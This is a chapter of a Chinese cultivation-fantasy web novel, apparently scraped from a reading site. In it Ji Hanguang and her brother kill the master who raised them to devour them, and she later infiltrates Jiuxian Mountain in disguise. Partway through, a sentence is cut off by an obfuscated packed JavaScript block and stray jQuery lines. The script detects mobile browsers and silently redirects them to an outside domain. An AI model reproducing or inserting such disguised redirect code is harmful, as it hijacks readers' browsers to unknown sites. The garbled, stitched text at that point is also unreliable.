2. 季含光
    辛夷对着这样十足客气到疏离的一句问候,先是蹙了蹙眉,而后眼波一转,语气中带着些委屈道:“许久未见,方道友何以如此疏远冷淡,莫不是将同修之谊给尽忘了?”

    那股伪装得天衣无缝、外门弟子该有的谨小慎微顷刻间被一种悠然自在的气质取代了。这不是一个筑基修士该有的眼神,也不是一个筑基修士该有的气度,明明还是那张寡淡的脸,一颦一笑间却无端带上了别样风情,叫人不敢逼视。

    若是被外门里与她熟识的那几个修士撞见了,大概要以为她被哪位前辈夺了舍。

    这当然不是夺舍。

    只是她从来不是辛夷,而是季含光。

    并非二十二岁,也全然不是什么误打误撞走上仙路的散修,甚至连三灵根也是假的。从入门到现在的几年里,她唯一说过的实话大概便是出身中州,降生在离九仙山不远的一个小村落里。

    不过,这也是一百四十三年前的事情了。

    彼时中州列国之间征伐频频,她的父母死在乱军之下,她与兄长两个走路尚且蹒跚的娃儿只能于破落的村子里艰难求生,好在被路过的一名修士救下,自此得以拜入仙门,不再受世俗所累。

    所谓修真一道,先炼气,精气稳固可强身健体,炼至气满盈实,便可服下筑基丹,尝试筑基,唯有冲过这道关,才算真正踏入仙途,能真正动用法力了。筑基一途漫长,非得练得紫府法力由虚凝实,再不能压缩一点,方能结丹。若有幸再向上修炼,便是返璞归真,破丹成婴。

    身具灵根之人百不存一,但神州广大,居民甚多,也能有百万之数,只不过单炼气到筑基一道关,就可将之滤去个十之六七,筑基修士能突破到结丹的,更是十不存一。而再往上突破元婴境的,无一不是通天彻地的大能,一国修士中也未见能出来一个。

    季含光这辈子的运气大概都用在了这里——收养她与兄长季宵练的,乃是一位元婴修士,当年无忧门的门主,季成州。

    神州大地五方沃土,其中就数中州修界最为兴盛,数不清的修真宗门家族如繁星般遍布州内。无忧门便坐落在中州西南角的一处山脉里,门内的弟子不多,实力却极高,除了门主外的三位长老都是元婴期修士,几十名弟子里,结丹期就占了大半。

    据典籍记载,这门派乃是远古某个神秘宗派的孑遗,因此也继承了那宗派的神秘,平素不与外人交往,非天赋卓绝之人入不了门下,行事风格亦正亦邪,造杀孽亦或是行善举,都在门人一念之间而已,这点,在季成州身上体现得淋漓尽致。

    他出手救下这两个孩童,收为义子,不是一时恻隐之心,更不是他对门内人所讲的看中她与兄长身具天水灵根,爱才惜才。真相乃是他寿元将近,却迟迟突破不了元婴初期的瓶颈,不得不寻求些别的法子——豢养两枚人丹,待到穷途末路之时一并吸食,

    故此他悄悄在这对兄妹身上落下禁制,从藏经阁中找了两本易于修炼却残缺不全的功法,更将他们分养在两处,含光留在门内随他料理宗门事务,宵练则在门外游历,美其名曰集百家之所长,方能成器。

    却没料到百密一疏,季含光生就一副天罗道体,身具修行禁制一道的绝佳天赋,从前季成州只说不许她分心,却不想她私下偷看了不少典籍,竟也学得有模有样,突破结丹期后愈发察觉自己肉身状况有异,细心探查之下,终于洞悉了师父的筹谋。

    几十年的师徒之情原来不过是惊天骗局,她自然既伤且痛,然而短暂悲伤过后,还是保全性命更为要紧,她于是立刻着手联系在外的兄长,只盼二人合力想出什么法子,能保住性命。

    万幸季成州没打算太早受用这两颗人丹,给了他们足够的喘息余地,兄妹二人一边压制着境界进展,一面寻求别的斗法手段。什么阵法禁制御魂炼鬼,凡是能在彻底撕破脸时增添一厘胜机的秘籍,都是他们兄妹二人搜罗的对象。

    就这样一个在内一个在外,隐忍着积蓄实力,直到某天季成州告诉他们要毕死关,门内事务暂时交给含光处理,兄妹俩便知道,这便是动手的时机要到了。

    季成州若是突破成功,他二人从此恐怕再无翻身之机,若是失败,那立刻就到了用他们血肉精元来偿报答师恩之时。

    此时季含光于禁制一途的修行已经登峰造极,毕死关时季成州神识收敛无暇顾及外物,正是解开身上那限制修为禁制的大好时机。他们修为被困在结丹中期已经近十年,若不能突破,就算到时候季成州破关失败,二人在他手中也走不过三招。

    殊死一搏,背水一战,再无退路了。

    这次死关季成州毕了五十年,出关时满面颓丧,气息低迷,走出洞府门,就见到了门口并肩而立的兄妹二人,赫然是结丹境大圆满的修为。本能先于理智发动,他本命法宝登时自紫府中飞出,堪堪挡下了刺向他元婴的两柄飞剑。

    接下来,便是惊天动地的一场大战。

    他们实在有运气,几位长老外出云游,唯有大长老在禁地深处闭关,直到那场大战几乎毁去了无忧门禁地的一半,她才突破成功,从秘洞中走出。

    滚滚烟尘被大长老轻轻一挥袖便消弭不见,她缓步而行,元婴后期修士的威压尽显,却是一步一步穿过惶恐的弟子们,直慢慢走向风暴的中心——已经去了半条命的兄妹俩,以及身死道消,元婴被灭,只剩下一具躯壳的季成州。

    “弑师证道,门中也不是没出过这样的例子,但你兄妹二人害我无忧门少了一名元婴修士坐镇,这笔账又该如何去算?”

    唯一好在无忧门对于弑师证道这种事也不很在意,大长老瞧出他们皆是结丹境大圆满,只差水到渠成,便可破丹化婴,于是一指闭关的洞府深处。

    “进去闭关,十年内突破元婴,尔等弑师之罪一笔勾销,否则,便为你师父偿命来。”

    兄妹二人对视一眼,眼中尽是苦笑。

    事已至此当然没别的选择,二人各自捡了一间石室打坐,好在季成州留下的丹药不少,禁制又都被大长老抹去,反倒方便他们兄妹了。

    那年,无忧门门主突破元婴中期失败身死道消的消息只小范围地掀起波澜,然上天有幸,他那两名亲传弟子都突破元婴成功,无忧门再添助力,却给中州这块混乱了千百年的不起眼所在添了变数,当地的小宗门竟隐隐有了以无忧门为首之感。

    最终季宵练接任无忧门门主,季含光成了新添的四长老,祖神殿上的牌位又多了季成州一块。

    只是虽无性命之忧,兄妹二人却不能不为将来打算。当初季成州不打算叫他们修炼到元婴,特意从宗门密藏中寻了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355156|140690||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一本残缺不全的秘籍,名为《水月心经》的叫他们修炼。此书的确是上好的功法,另行记载的几门斗法手段也高超绝妙,然而上面的修炼法门只到结丹境,就再无后续。

    如今他们业已结婴,主修功法却无以为继,刚开始或许还可通过多学几门辅修秘术来应付,但天长日久下来,终究是隐患,改修其他功法又得散功重修,非得荒废个数十载春秋不可。因此兄妹二人商定,按着现有的两条线索摸索过去,一是在大陆东面的死海鬼渊,二就是中州修仙宗门中的执牛耳者,九仙山。

    好在无忧门松散惯了,就算门主常年不在门中,有其余三位长老坐镇也翻不了天去。三年前宵练向东,含光向北,各自寻索起那剩下的半本水月心经来。

    季含光心知以此功法的奥妙,哪家门派也不可能轻易拿出,加之九仙山乃是天下公认的玄门第一,元婴修士不知凡几,也不屑与无忧门这种游走于魔道正道之间的门派做什么生意。

    摆在她面前的,就只剩下偷这一条路了。

    然而要神不知鬼不觉潜进正道魁首山门内盗出重宝,她又实在没有这通天彻地本事,于是便仗着禁制手段高超,强行压制修为,掩盖骨龄,伪装成外门弟子拜入门下,只盼着借龙门会进入内门,再伺机而动。

    只可惜,她苦心孤诣在外门和那群小辈厮混了两年,才终于有进入内门的机会,未曾想当场便撞上了熟人——

    大概四十年前,好友为她送来一条消息,说有人得着一本修炼条件极其苛刻的秘术,威力极强,却非得有特定命格的同修不可,正四处寻觅。当时季成州刚刚闭关,她急着尽快提升实力,发觉自己正符合那同修条件,便托人牵线搭桥。

    十分恰巧,那人修为也在结丹后期,自称姓方,是道魔双修的修士,二人谈好条件,又寻了一处福地开始修炼,待到三年后修成了那秘术的第一层,便分道扬镳。本以为从此天涯路远,一别两宽,再无重逢之时,却没料到在此情此景之下再见。

    这秘术极玄妙霸道,修炼后,同修之人的命火便被绑到了一起,再无法分离。因此即便识破不了对方隐藏形貌修为的伪装,一踏进龙门会的现场,凭借冥冥中的感应,二人还是认出了彼此。

    实在是孽缘。

    孽缘方远知受了她一番埋怨,眉头动也未动,还是那般云淡风轻似的姿态,只笑道:“在下并无与道友疏远的意思,不然何以刚才要了道友做徒弟?既然道友也未忘前缘,就请进洞府,与在下一叙旧友之情。”

    这话倒还像样些,季含光轻笑一声道:“事已至此,无论愿与不愿,我与道友都已经是盟友,不如省去客套,说些真正用得上的。”

    不用猜,她也知道方远知的修为必定同自己一样,都已经突破元婴,而他既然能爬到如今的位置,想必也是深潜数十年,在九仙山内所图只怕比自己更大,倒不用担忧他出卖自己。

    如今师徒名分已成,从今以后,两人便是一根绳上的蚂蚱了,一方假若暴露,另一人也禁不住细查。

    既然如此,不如索性将话挑明了

    方远知面上笑意更深:“道友还是这般快人快语。”

    不去管他奉承的这一句,季含光直视他双眸,轻声问道:“那我不妨问问,道友潜藏此地多年,是为何而来呢?”